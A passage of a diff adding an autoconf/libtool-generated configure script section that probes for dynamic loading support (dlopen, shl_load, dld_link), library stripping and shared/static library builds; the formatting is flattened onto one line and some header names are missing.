soname_spec='$libname${shared_ext}.$major' + shlibpath_var=LD_LIBRARY_PATH + fi + ;; + +uts4*) + version_type=linux + library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major $libname${shared_ext}' + soname_spec='${libname}${release}${shared_ext}$major' + shlibpath_var=LD_LIBRARY_PATH + ;; + +*) + dynamic_linker=no + ;; +esac +{ echo "$as_me:$LINENO: result: $dynamic_linker" >&5 +echo "${ECHO_T}$dynamic_linker" >&6; } +test "$dynamic_linker" = no && can_build_shared=no + +{ echo "$as_me:$LINENO: checking how to hardcode library paths into programs" >&5 +echo $ECHO_N "checking how to hardcode library paths into programs... $ECHO_C" >&6; } +hardcode_action= +if test -n "$hardcode_libdir_flag_spec" || \ + test -n "$runpath_var" || \ + test "X$hardcode_automatic" = "Xyes" ; then + + # We can hardcode non-existant directories. + if test "$hardcode_direct" != no && + # If the only mechanism to avoid hardcoding is shlibpath_var, we + # have to relink, otherwise we might link with an installed library + # when we should be linking with a yet-to-be-installed one + ## test "$_LT_AC_TAGVAR(hardcode_shlibpath_var, )" != no && + test "$hardcode_minus_L" != no; then + # Linking always hardcodes the temporary library directory. + hardcode_action=relink + else + # We can link without hardcoding, and we can hardcode nonexisting dirs. + hardcode_action=immediate + fi +else + # We cannot hardcode anything, or else we can only hardcode existing + # directories. + hardcode_action=unsupported +fi +{ echo "$as_me:$LINENO: result: $hardcode_action" >&5 +echo "${ECHO_T}$hardcode_action" >&6; } + +if test "$hardcode_action" = relink; then + # Fast installation is not supported + enable_fast_install=no +elif test "$shlibpath_overrides_runpath" = yes || + test "$enable_shared" = no; then + # Fast installation is not necessary + enable_fast_install=needless +fi + +striplib= +old_striplib= +{ echo "$as_me:$LINENO: checking whether stripping libraries is possible" >&5 +echo $ECHO_N "checking whether stripping libraries is possible... $ECHO_C" >&6; } +if test -n "$STRIP" && $STRIP -V 2>&1 | grep "GNU strip" >/dev/null; then + test -z "$old_striplib" && old_striplib="$STRIP --strip-debug" + test -z "$striplib" && striplib="$STRIP --strip-unneeded" + { echo "$as_me:$LINENO: result: yes" >&5 +echo "${ECHO_T}yes" >&6; } +else +# FIXME - insert some real tests, host_os isn't really good enough + case $host_os in + darwin*) + if test -n "$STRIP" ; then + striplib="$STRIP -x" + { echo "$as_me:$LINENO: result: yes" >&5 +echo "${ECHO_T}yes" >&6; } + else + { echo "$as_me:$LINENO: result: no" >&5 +echo "${ECHO_T}no" >&6; } +fi + ;; + *) + { echo "$as_me:$LINENO: result: no" >&5 +echo "${ECHO_T}no" >&6; } + ;; + esac +fi + +if test "x$enable_dlopen" != xyes; then + enable_dlopen=unknown + enable_dlopen_self=unknown + enable_dlopen_self_static=unknown +else + lt_cv_dlopen=no + lt_cv_dlopen_libs= + + case $host_os in + beos*) + lt_cv_dlopen="load_add_on" + lt_cv_dlopen_libs= + lt_cv_dlopen_self=yes + ;; + + mingw* | pw32*) + lt_cv_dlopen="LoadLibrary" + lt_cv_dlopen_libs= + ;; + + cygwin*) + lt_cv_dlopen="dlopen" + lt_cv_dlopen_libs= + ;; + + darwin*) + # if libdl is installed we need to link against it + { echo "$as_me:$LINENO: checking for dlopen in -ldl" >&5 +echo $ECHO_N "checking for dlopen in -ldl... $ECHO_C" >&6; } +if test "${ac_cv_lib_dl_dlopen+set}" = set; then + echo $ECHO_N "(cached) $ECHO_C" >&6 +else + ac_check_lib_save_LIBS=$LIBS +LIBS="-ldl $LIBS" +cat >conftest.$ac_ext <<_ACEOF +/* confdefs.h. */ +_ACEOF +cat confdefs.h >>conftest.$ac_ext +cat >>conftest.$ac_ext <<_ACEOF +/* end confdefs.h. */ + +/* Override any GCC internal prototype to avoid an error. + Use char because int might match the return type of a GCC + builtin and then its argument prototype would still apply. */ +#ifdef __cplusplus +extern "C" +#endif +char dlopen (); +int +main () +{ +return dlopen (); + ; + return 0; +} +_ACEOF +rm -f conftest.$ac_objext conftest$ac_exeext +if { (ac_try="$ac_link" +case "(($ac_try" in + *\"* | *\`* | *\\*) ac_try_echo=\$ac_try;; + *) ac_try_echo=$ac_try;; +esac +eval "echo \"\$as_me:$LINENO: $ac_try_echo\"") >&5 + (eval "$ac_link") 2>conftest.er1 + ac_status=$? + grep -v '^ *+' conftest.er1 >conftest.err + rm -f conftest.er1 + cat conftest.err >&5 + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); } && + { ac_try='test -z "$ac_c_werror_flag" || test ! -s conftest.err' + { (case "(($ac_try" in + *\"* | *\`* | *\\*) ac_try_echo=\$ac_try;; + *) ac_try_echo=$ac_try;; +esac +eval "echo \"\$as_me:$LINENO: $ac_try_echo\"") >&5 + (eval "$ac_try") 2>&5 + ac_status=$? + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); }; } && + { ac_try='test -s conftest$ac_exeext' + { (case "(($ac_try" in + *\"* | *\`* | *\\*) ac_try_echo=\$ac_try;; + *) ac_try_echo=$ac_try;; +esac +eval "echo \"\$as_me:$LINENO: $ac_try_echo\"") >&5 + (eval "$ac_try") 2>&5 + ac_status=$? + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); }; }; then + ac_cv_lib_dl_dlopen=yes +else + echo "$as_me: failed program was:" >&5 +sed 's/^/| /' conftest.$ac_ext >&5 + + ac_cv_lib_dl_dlopen=no +fi + +rm -f core conftest.err conftest.$ac_objext \ + conftest$ac_exeext conftest.$ac_ext +LIBS=$ac_check_lib_save_LIBS +fi +{ echo "$as_me:$LINENO: result: $ac_cv_lib_dl_dlopen" >&5 +echo "${ECHO_T}$ac_cv_lib_dl_dlopen" >&6; } +if test $ac_cv_lib_dl_dlopen = yes; then + lt_cv_dlopen="dlopen" lt_cv_dlopen_libs="-ldl" +else + + lt_cv_dlopen="dyld" + lt_cv_dlopen_libs= + lt_cv_dlopen_self=yes + +fi + + ;; + + *) + { echo "$as_me:$LINENO: checking for shl_load" >&5 +echo $ECHO_N "checking for shl_load... $ECHO_C" >&6; } +if test "${ac_cv_func_shl_load+set}" = set; then + echo $ECHO_N "(cached) $ECHO_C" >&6 +else + cat >conftest.$ac_ext <<_ACEOF +/* confdefs.h. */ +_ACEOF +cat confdefs.h >>conftest.$ac_ext +cat >>conftest.$ac_ext <<_ACEOF +/* end confdefs.h. */ +/* Define shl_load to an innocuous variant, in case declares shl_load. + For example, HP-UX 11i declares gettimeofday. */ +#define shl_load innocuous_shl_load + +/* System header to define __stub macros and hopefully few prototypes, + which can conflict with char shl_load (); below. + Prefer to if __STDC__ is defined, since + exists even on freestanding compilers. */ + +#ifdef __STDC__ +# include +#else +# include +#endif + +#undef shl_load + +/* Override any GCC internal prototype to avoid an error. + Use char because int might match the return type of a GCC + builtin and then its argument prototype would still apply. */ +#ifdef __cplusplus +extern "C" +#endif +char shl_load (); +/* The GNU C library defines this for functions which it implements + to always fail with ENOSYS. Some functions are actually named + something starting with __ and the normal name is an alias. */ +#if defined __stub_shl_load || defined __stub___shl_load +choke me +#endif + +int +main () +{ +return shl_load (); + ; + return 0; +} +_ACEOF +rm -f conftest.$ac_objext conftest$ac_exeext +if { (ac_try="$ac_link" +case "(($ac_try" in + *\"* | *\`* | *\\*) ac_try_echo=\$ac_try;; + *) ac_try_echo=$ac_try;; +esac +eval "echo \"\$as_me:$LINENO: $ac_try_echo\"") >&5 + (eval "$ac_link") 2>conftest.er1 + ac_status=$? + grep -v '^ *+' conftest.er1 >conftest.err + rm -f conftest.er1 + cat conftest.err >&5 + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); } && + { ac_try='test -z "$ac_c_werror_flag" || test ! -s conftest.err' + { (case "(($ac_try" in + *\"* | *\`* | *\\*) ac_try_echo=\$ac_try;; + *) ac_try_echo=$ac_try;; +esac +eval "echo \"\$as_me:$LINENO: $ac_try_echo\"") >&5 + (eval "$ac_try") 2>&5 + ac_status=$? + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); }; } && + { ac_try='test -s conftest$ac_exeext' + { (case "(($ac_try" in + *\"* | *\`* | *\\*) ac_try_echo=\$ac_try;; + *) ac_try_echo=$ac_try;; +esac +eval "echo \"\$as_me:$LINENO: $ac_try_echo\"") >&5 + (eval "$ac_try") 2>&5 + ac_status=$? + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); }; }; then + ac_cv_func_shl_load=yes +else + echo "$as_me: failed program was:" >&5 +sed 's/^/| /' conftest.$ac_ext >&5 + + ac_cv_func_shl_load=no +fi + +rm -f core conftest.err conftest.$ac_objext \ + conftest$ac_exeext conftest.$ac_ext +fi +{ echo "$as_me:$LINENO: result: $ac_cv_func_shl_load" >&5 +echo "${ECHO_T}$ac_cv_func_shl_load" >&6; } +if test $ac_cv_func_shl_load = yes; then + lt_cv_dlopen="shl_load" +else + { echo "$as_me:$LINENO: checking for shl_load in -ldld" >&5 +echo $ECHO_N "checking for shl_load in -ldld... $ECHO_C" >&6; } +if test "${ac_cv_lib_dld_shl_load+set}" = set; then + echo $ECHO_N "(cached) $ECHO_C" >&6 +else + ac_check_lib_save_LIBS=$LIBS +LIBS="-ldld $LIBS" +cat >conftest.$ac_ext <<_ACEOF +/* confdefs.h. */ +_ACEOF +cat confdefs.h >>conftest.$ac_ext +cat >>conftest.$ac_ext <<_ACEOF +/* end confdefs.h. */ + +/* Override any GCC internal prototype to avoid an error. + Use char because int might match the return type of a GCC + builtin and then its argument prototype would still apply. */ +#ifdef __cplusplus +extern "C" +#endif +char shl_load (); +int +main () +{ +return shl_load (); + ; + return 0; +} +_ACEOF +rm -f conftest.$ac_objext conftest$ac_exeext +if { (ac_try="$ac_link" +case "(($ac_try" in + *\"* | *\`* | *\\*) ac_try_echo=\$ac_try;; + *) ac_try_echo=$ac_try;; +esac +eval "echo \"\$as_me:$LINENO: $ac_try_echo\"") >&5 + (eval "$ac_link") 2>conftest.er1 + ac_status=$? + grep -v '^ *+' conftest.er1 >conftest.err + rm -f conftest.er1 + cat conftest.err >&5 + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); } && + { ac_try='test -z "$ac_c_werror_flag" || test ! -s conftest.err' + { (case "(($ac_try" in + *\"* | *\`* | *\\*) ac_try_echo=\$ac_try;; + *) ac_try_echo=$ac_try;; +esac +eval "echo \"\$as_me:$LINENO: $ac_try_echo\"") >&5 + (eval "$ac_try") 2>&5 + ac_status=$? + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); }; } && + { ac_try='test -s conftest$ac_exeext' + { (case "(($ac_try" in + *\"* | *\`* | *\\*) ac_try_echo=\$ac_try;; + *) ac_try_echo=$ac_try;; +esac +eval "echo \"\$as_me:$LINENO: $ac_try_echo\"") >&5 + (eval "$ac_try") 2>&5 + ac_status=$? + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); }; }; then + ac_cv_lib_dld_shl_load=yes +else + echo "$as_me: failed program was:" >&5 +sed 's/^/| /' conftest.$ac_ext >&5 + + ac_cv_lib_dld_shl_load=no +fi + +rm -f core conftest.err conftest.$ac_objext \ + conftest$ac_exeext conftest.$ac_ext +LIBS=$ac_check_lib_save_LIBS +fi +{ echo "$as_me:$LINENO: result: $ac_cv_lib_dld_shl_load" >&5 +echo "${ECHO_T}$ac_cv_lib_dld_shl_load" >&6; } +if test $ac_cv_lib_dld_shl_load = yes; then + lt_cv_dlopen="shl_load" lt_cv_dlopen_libs="-dld" +else + { echo "$as_me:$LINENO: checking for dlopen" >&5 +echo $ECHO_N "checking for dlopen... $ECHO_C" >&6; } +if test "${ac_cv_func_dlopen+set}" = set; then + echo $ECHO_N "(cached) $ECHO_C" >&6 +else + cat >conftest.$ac_ext <<_ACEOF +/* confdefs.h. */ +_ACEOF +cat confdefs.h >>conftest.$ac_ext +cat >>conftest.$ac_ext <<_ACEOF +/* end confdefs.h. */ +/* Define dlopen to an innocuous variant, in case declares dlopen. + For example, HP-UX 11i declares gettimeofday. */ +#define dlopen innocuous_dlopen + +/* System header to define __stub macros and hopefully few prototypes, + which can conflict with char dlopen (); below. + Prefer to if __STDC__ is defined, since + exists even on freestanding compilers. */ + +#ifdef __STDC__ +# include +#else +# include +#endif + +#undef dlopen + +/* Override any GCC internal prototype to avoid an error. + Use char because int might match the return type of a GCC + builtin and then its argument prototype would still apply. */ +#ifdef __cplusplus +extern "C" +#endif +char dlopen (); +/* The GNU C library defines this for functions which it implements + to always fail with ENOSYS. Some functions are actually named + something starting with __ and the normal name is an alias. */ +#if defined __stub_dlopen || defined __stub___dlopen +choke me +#endif + +int +main () +{ +return dlopen (); + ; + return 0; +} +_ACEOF +rm -f conftest.$ac_objext conftest$ac_exeext +if { (ac_try="$ac_link" +case "(($ac_try" in + *\"* | *\`* | *\\*) ac_try_echo=\$ac_try;; + *) ac_try_echo=$ac_try;; +esac +eval "echo \"\$as_me:$LINENO: $ac_try_echo\"") >&5 + (eval "$ac_link") 2>conftest.er1 + ac_status=$? + grep -v '^ *+' conftest.er1 >conftest.err + rm -f conftest.er1 + cat conftest.err >&5 + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); } && + { ac_try='test -z "$ac_c_werror_flag" || test ! -s conftest.err' + { (case "(($ac_try" in + *\"* | *\`* | *\\*) ac_try_echo=\$ac_try;; + *) ac_try_echo=$ac_try;; +esac +eval "echo \"\$as_me:$LINENO: $ac_try_echo\"") >&5 + (eval "$ac_try") 2>&5 + ac_status=$? + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); }; } && + { ac_try='test -s conftest$ac_exeext' + { (case "(($ac_try" in + *\"* | *\`* | *\\*) ac_try_echo=\$ac_try;; + *) ac_try_echo=$ac_try;; +esac +eval "echo \"\$as_me:$LINENO: $ac_try_echo\"") >&5 + (eval "$ac_try") 2>&5 + ac_status=$? + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); }; }; then + ac_cv_func_dlopen=yes +else + echo "$as_me: failed program was:" >&5 +sed 's/^/| /' conftest.$ac_ext >&5 + + ac_cv_func_dlopen=no +fi + +rm -f core conftest.err conftest.$ac_objext \ + conftest$ac_exeext conftest.$ac_ext +fi +{ echo "$as_me:$LINENO: result: $ac_cv_func_dlopen" >&5 +echo "${ECHO_T}$ac_cv_func_dlopen" >&6; } +if test $ac_cv_func_dlopen = yes; then + lt_cv_dlopen="dlopen" +else + { echo "$as_me:$LINENO: checking for dlopen in -ldl" >&5 +echo $ECHO_N "checking for dlopen in -ldl... $ECHO_C" >&6; } +if test "${ac_cv_lib_dl_dlopen+set}" = set; then + echo $ECHO_N "(cached) $ECHO_C" >&6 +else + ac_check_lib_save_LIBS=$LIBS +LIBS="-ldl $LIBS" +cat >conftest.$ac_ext <<_ACEOF +/* confdefs.h. */ +_ACEOF +cat confdefs.h >>conftest.$ac_ext +cat >>conftest.$ac_ext <<_ACEOF +/* end confdefs.h. */ + +/* Override any GCC internal prototype to avoid an error. + Use char because int might match the return type of a GCC + builtin and then its argument prototype would still apply. */ +#ifdef __cplusplus +extern "C" +#endif +char dlopen (); +int +main () +{ +return dlopen (); + ; + return 0; +} +_ACEOF +rm -f conftest.$ac_objext conftest$ac_exeext +if { (ac_try="$ac_link" +case "(($ac_try" in + *\"* | *\`* | *\\*) ac_try_echo=\$ac_try;; + *) ac_try_echo=$ac_try;; +esac +eval "echo \"\$as_me:$LINENO: $ac_try_echo\"") >&5 + (eval "$ac_link") 2>conftest.er1 + ac_status=$? + grep -v '^ *+' conftest.er1 >conftest.err + rm -f conftest.er1 + cat conftest.err >&5 + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); } && + { ac_try='test -z "$ac_c_werror_flag" || test ! -s conftest.err' + { (case "(($ac_try" in + *\"* | *\`* | *\\*) ac_try_echo=\$ac_try;; + *) ac_try_echo=$ac_try;; +esac +eval "echo \"\$as_me:$LINENO: $ac_try_echo\"") >&5 + (eval "$ac_try") 2>&5 + ac_status=$? + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); }; } && + { ac_try='test -s conftest$ac_exeext' + { (case "(($ac_try" in + *\"* | *\`* | *\\*) ac_try_echo=\$ac_try;; + *) ac_try_echo=$ac_try;; +esac +eval "echo \"\$as_me:$LINENO: $ac_try_echo\"") >&5 + (eval "$ac_try") 2>&5 + ac_status=$? + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); }; }; then + ac_cv_lib_dl_dlopen=yes +else + echo "$as_me: failed program was:" >&5 +sed 's/^/| /' conftest.$ac_ext >&5 + + ac_cv_lib_dl_dlopen=no +fi + +rm -f core conftest.err conftest.$ac_objext \ + conftest$ac_exeext conftest.$ac_ext +LIBS=$ac_check_lib_save_LIBS +fi +{ echo "$as_me:$LINENO: result: $ac_cv_lib_dl_dlopen" >&5 +echo "${ECHO_T}$ac_cv_lib_dl_dlopen" >&6; } +if test $ac_cv_lib_dl_dlopen = yes; then + lt_cv_dlopen="dlopen" lt_cv_dlopen_libs="-ldl" +else + { echo "$as_me:$LINENO: checking for dlopen in -lsvld" >&5 +echo $ECHO_N "checking for dlopen in -lsvld... $ECHO_C" >&6; } +if test "${ac_cv_lib_svld_dlopen+set}" = set; then + echo $ECHO_N "(cached) $ECHO_C" >&6 +else + ac_check_lib_save_LIBS=$LIBS +LIBS="-lsvld $LIBS" +cat >conftest.$ac_ext <<_ACEOF +/* confdefs.h. */ +_ACEOF +cat confdefs.h >>conftest.$ac_ext +cat >>conftest.$ac_ext <<_ACEOF +/* end confdefs.h. */ + +/* Override any GCC internal prototype to avoid an error. + Use char because int might match the return type of a GCC + builtin and then its argument prototype would still apply. */ +#ifdef __cplusplus +extern "C" +#endif +char dlopen (); +int +main () +{ +return dlopen (); + ; + return 0; +} +_ACEOF +rm -f conftest.$ac_objext conftest$ac_exeext +if { (ac_try="$ac_link" +case "(($ac_try" in + *\"* | *\`* | *\\*) ac_try_echo=\$ac_try;; + *) ac_try_echo=$ac_try;; +esac +eval "echo \"\$as_me:$LINENO: $ac_try_echo\"") >&5 + (eval "$ac_link") 2>conftest.er1 + ac_status=$? + grep -v '^ *+' conftest.er1 >conftest.err + rm -f conftest.er1 + cat conftest.err >&5 + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); } && + { ac_try='test -z "$ac_c_werror_flag" || test ! -s conftest.err' + { (case "(($ac_try" in + *\"* | *\`* | *\\*) ac_try_echo=\$ac_try;; + *) ac_try_echo=$ac_try;; +esac +eval "echo \"\$as_me:$LINENO: $ac_try_echo\"") >&5 + (eval "$ac_try") 2>&5 + ac_status=$? + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); }; } && + { ac_try='test -s conftest$ac_exeext' + { (case "(($ac_try" in + *\"* | *\`* | *\\*) ac_try_echo=\$ac_try;; + *) ac_try_echo=$ac_try;; +esac +eval "echo \"\$as_me:$LINENO: $ac_try_echo\"") >&5 + (eval "$ac_try") 2>&5 + ac_status=$? + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); }; }; then + ac_cv_lib_svld_dlopen=yes +else + echo "$as_me: failed program was:" >&5 +sed 's/^/| /' conftest.$ac_ext >&5 + + ac_cv_lib_svld_dlopen=no +fi + +rm -f core conftest.err conftest.$ac_objext \ + conftest$ac_exeext conftest.$ac_ext +LIBS=$ac_check_lib_save_LIBS +fi +{ echo "$as_me:$LINENO: result: $ac_cv_lib_svld_dlopen" >&5 +echo "${ECHO_T}$ac_cv_lib_svld_dlopen" >&6; } +if test $ac_cv_lib_svld_dlopen = yes; then + lt_cv_dlopen="dlopen" lt_cv_dlopen_libs="-lsvld" +else + { echo "$as_me:$LINENO: checking for dld_link in -ldld" >&5 +echo $ECHO_N "checking for dld_link in -ldld... $ECHO_C" >&6; } +if test "${ac_cv_lib_dld_dld_link+set}" = set; then + echo $ECHO_N "(cached) $ECHO_C" >&6 +else + ac_check_lib_save_LIBS=$LIBS +LIBS="-ldld $LIBS" +cat >conftest.$ac_ext <<_ACEOF +/* confdefs.h. */ +_ACEOF +cat confdefs.h >>conftest.$ac_ext +cat >>conftest.$ac_ext <<_ACEOF +/* end confdefs.h. */ + +/* Override any GCC internal prototype to avoid an error. + Use char because int might match the return type of a GCC + builtin and then its argument prototype would still apply. */ +#ifdef __cplusplus +extern "C" +#endif +char dld_link (); +int +main () +{ +return dld_link (); + ; + return 0; +} +_ACEOF +rm -f conftest.$ac_objext conftest$ac_exeext +if { (ac_try="$ac_link" +case "(($ac_try" in + *\"* | *\`* | *\\*) ac_try_echo=\$ac_try;; + *) ac_try_echo=$ac_try;; +esac +eval "echo \"\$as_me:$LINENO: $ac_try_echo\"") >&5 + (eval "$ac_link") 2>conftest.er1 + ac_status=$? + grep -v '^ *+' conftest.er1 >conftest.err + rm -f conftest.er1 + cat conftest.err >&5 + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); } && + { ac_try='test -z "$ac_c_werror_flag" || test ! -s conftest.err' + { (case "(($ac_try" in + *\"* | *\`* | *\\*) ac_try_echo=\$ac_try;; + *) ac_try_echo=$ac_try;; +esac +eval "echo \"\$as_me:$LINENO: $ac_try_echo\"") >&5 + (eval "$ac_try") 2>&5 + ac_status=$? + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); }; } && + { ac_try='test -s conftest$ac_exeext' + { (case "(($ac_try" in + *\"* | *\`* | *\\*) ac_try_echo=\$ac_try;; + *) ac_try_echo=$ac_try;; +esac +eval "echo \"\$as_me:$LINENO: $ac_try_echo\"") >&5 + (eval "$ac_try") 2>&5 + ac_status=$? + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); }; }; then + ac_cv_lib_dld_dld_link=yes +else + echo "$as_me: failed program was:" >&5 +sed 's/^/| /' conftest.$ac_ext >&5 + + ac_cv_lib_dld_dld_link=no +fi + +rm -f core conftest.err conftest.$ac_objext \ + conftest$ac_exeext conftest.$ac_ext +LIBS=$ac_check_lib_save_LIBS +fi +{ echo "$as_me:$LINENO: result: $ac_cv_lib_dld_dld_link" >&5 +echo "${ECHO_T}$ac_cv_lib_dld_dld_link" >&6; } +if test $ac_cv_lib_dld_dld_link = yes; then + lt_cv_dlopen="dld_link" lt_cv_dlopen_libs="-dld" +fi + + +fi + + +fi + + +fi + + +fi + + +fi + + ;; + esac + + if test "x$lt_cv_dlopen" != xno; then + enable_dlopen=yes + else + enable_dlopen=no + fi + + case $lt_cv_dlopen in + dlopen) + save_CPPFLAGS="$CPPFLAGS" + test "x$ac_cv_header_dlfcn_h" = xyes && CPPFLAGS="$CPPFLAGS -DHAVE_DLFCN_H" + + save_LDFLAGS="$LDFLAGS" + eval LDFLAGS=\"\$LDFLAGS $export_dynamic_flag_spec\" + + save_LIBS="$LIBS" + LIBS="$lt_cv_dlopen_libs $LIBS" + + { echo "$as_me:$LINENO: checking whether a program can dlopen itself" >&5 +echo $ECHO_N "checking whether a program can dlopen itself... $ECHO_C" >&6; } +if test "${lt_cv_dlopen_self+set}" = set; then + echo $ECHO_N "(cached) $ECHO_C" >&6 +else + if test "$cross_compiling" = yes; then : + lt_cv_dlopen_self=cross +else + lt_dlunknown=0; lt_dlno_uscore=1; lt_dlneed_uscore=2 + lt_status=$lt_dlunknown + cat > conftest.$ac_ext < +#endif + +#include + +#ifdef RTLD_GLOBAL +# define LT_DLGLOBAL RTLD_GLOBAL +#else +# ifdef DL_GLOBAL +# define LT_DLGLOBAL DL_GLOBAL +# else +# define LT_DLGLOBAL 0 +# endif +#endif + +/* We may have to define LT_DLLAZY_OR_NOW in the command line if we + find out it does not work in some platform. */ +#ifndef LT_DLLAZY_OR_NOW +# ifdef RTLD_LAZY +# define LT_DLLAZY_OR_NOW RTLD_LAZY +# else +# ifdef DL_LAZY +# define LT_DLLAZY_OR_NOW DL_LAZY +# else +# ifdef RTLD_NOW +# define LT_DLLAZY_OR_NOW RTLD_NOW +# else +# ifdef DL_NOW +# define LT_DLLAZY_OR_NOW DL_NOW +# else +# define LT_DLLAZY_OR_NOW 0 +# endif +# endif +# endif +# endif +#endif + +#ifdef __cplusplus +extern "C" void exit (int); +#endif + +void fnord() { int i=42;} +int main () +{ + void *self = dlopen (0, LT_DLGLOBAL|LT_DLLAZY_OR_NOW); + int status = $lt_dlunknown; + + if (self) + { + if (dlsym (self,"fnord")) status = $lt_dlno_uscore; + else if (dlsym( self,"_fnord")) status = $lt_dlneed_uscore; + /* dlclose (self); */ + } + + exit (status); +} +EOF + if { (eval echo "$as_me:$LINENO: \"$ac_link\"") >&5 + (eval $ac_link) 2>&5 + ac_status=$? + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); } && test -s conftest${ac_exeext} 2>/dev/null; then + (./conftest; exit; ) 2>/dev/null + lt_status=$? + case x$lt_status in + x$lt_dlno_uscore) lt_cv_dlopen_self=yes ;; + x$lt_dlneed_uscore) lt_cv_dlopen_self=yes ;; + x$lt_unknown|x*) lt_cv_dlopen_self=no ;; + esac + else : + # compilation failed + lt_cv_dlopen_self=no + fi +fi +rm -fr conftest* + + +fi +{ echo "$as_me:$LINENO: result: $lt_cv_dlopen_self" >&5 +echo "${ECHO_T}$lt_cv_dlopen_self" >&6; } + + if test "x$lt_cv_dlopen_self" = xyes; then + LDFLAGS="$LDFLAGS $link_static_flag" + { echo "$as_me:$LINENO: checking whether a statically linked program can dlopen itself" >&5 +echo $ECHO_N "checking whether a statically linked program can dlopen itself... $ECHO_C" >&6; } +if test "${lt_cv_dlopen_self_static+set}" = set; then + echo $ECHO_N "(cached) $ECHO_C" >&6 +else + if test "$cross_compiling" = yes; then : + lt_cv_dlopen_self_static=cross +else + lt_dlunknown=0; lt_dlno_uscore=1; lt_dlneed_uscore=2 + lt_status=$lt_dlunknown + cat > conftest.$ac_ext < +#endif + +#include + +#ifdef RTLD_GLOBAL +# define LT_DLGLOBAL RTLD_GLOBAL +#else +# ifdef DL_GLOBAL +# define LT_DLGLOBAL DL_GLOBAL +# else +# define LT_DLGLOBAL 0 +# endif +#endif + +/* We may have to define LT_DLLAZY_OR_NOW in the command line if we + find out it does not work in some platform. */ +#ifndef LT_DLLAZY_OR_NOW +# ifdef RTLD_LAZY +# define LT_DLLAZY_OR_NOW RTLD_LAZY +# else +# ifdef DL_LAZY +# define LT_DLLAZY_OR_NOW DL_LAZY +# else +# ifdef RTLD_NOW +# define LT_DLLAZY_OR_NOW RTLD_NOW +# else +# ifdef DL_NOW +# define LT_DLLAZY_OR_NOW DL_NOW +# else +# define LT_DLLAZY_OR_NOW 0 +# endif +# endif +# endif +# endif +#endif + +#ifdef __cplusplus +extern "C" void exit (int); +#endif + +void fnord() { int i=42;} +int main () +{ + void *self = dlopen (0, LT_DLGLOBAL|LT_DLLAZY_OR_NOW); + int status = $lt_dlunknown; + + if (self) + { + if (dlsym (self,"fnord")) status = $lt_dlno_uscore; + else if (dlsym( self,"_fnord")) status = $lt_dlneed_uscore; + /* dlclose (self); */ + } + + exit (status); +} +EOF + if { (eval echo "$as_me:$LINENO: \"$ac_link\"") >&5 + (eval $ac_link) 2>&5 + ac_status=$? + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); } && test -s conftest${ac_exeext} 2>/dev/null; then + (./conftest; exit; ) 2>/dev/null + lt_status=$? + case x$lt_status in + x$lt_dlno_uscore) lt_cv_dlopen_self_static=yes ;; + x$lt_dlneed_uscore) lt_cv_dlopen_self_static=yes ;; + x$lt_unknown|x*) lt_cv_dlopen_self_static=no ;; + esac + else : + # compilation failed + lt_cv_dlopen_self_static=no + fi +fi +rm -fr conftest* + + +fi +{ echo "$as_me:$LINENO: result: $lt_cv_dlopen_self_static" >&5 +echo "${ECHO_T}$lt_cv_dlopen_self_static" >&6; } + fi + + CPPFLAGS="$save_CPPFLAGS" + LDFLAGS="$save_LDFLAGS" + LIBS="$save_LIBS" + ;; + esac + + case $lt_cv_dlopen_self in + yes|no) enable_dlopen_self=$lt_cv_dlopen_self ;; + *) enable_dlopen_self=unknown ;; + esac + + case $lt_cv_dlopen_self_static in + yes|no) enable_dlopen_self_static=$lt_cv_dlopen_self_static ;; + *) enable_dlopen_self_static=unknown ;; + esac +fi + + +# Report which librarie types wil actually be built +{ echo "$as_me:$LINENO: checking if libtool supports shared libraries" >&5 +echo $ECHO_N "checking if libtool supports shared libraries... $ECHO_C" >&6; } +{ echo "$as_me:$LINENO: result: $can_build_shared" >&5 +echo "${ECHO_T}$can_build_shared" >&6; } + +{ echo "$as_me:$LINENO: checking whether to build shared libraries" >&5 +echo $ECHO_N "checking whether to build shared libraries... $ECHO_C" >&6; } +test "$can_build_shared" = "no" && enable_shared=no + +# On AIX, shared libraries and static libraries use the same namespace, and +# are all built from PIC. +case "$host_os" in +aix3*) + test "$enable_shared" = yes && enable_static=no + if test -n "$RANLIB"; then + archive_cmds="$archive_cmds~\$RANLIB \$lib" + postinstall_cmds='$RANLIB $lib' + fi + ;; + +aix4* | aix5*) + if test "$host_cpu" != ia64 && test "$aix_use_runtimelinking" = no ; then + test "$enable_shared" = yes && enable_static=no + fi + ;; +esac +{ echo "$as_me:$LINENO: result: $enable_shared" >&5 +echo "${ECHO_T}$enable_shared" >&6; } + +{ echo "$as_me:$LINENO: checking whether to build static libraries" >&5 +echo $ECHO_N "checking whether to build static libraries... $ECHO_C" >&6; } +# Make sure either enable_shared or enable_static is yes. +test "$enable_shared" = yes || enable_static=yes +{ echo "$as_me:$LINENO: result: $enable_static" >&5 +echo "${ECHO_T}$enable_static" >&6; } + +# The else clause should only fire when bootstrapping the +# libtool distribution, otherwise you forgot to ship ltmain.sh +# with your 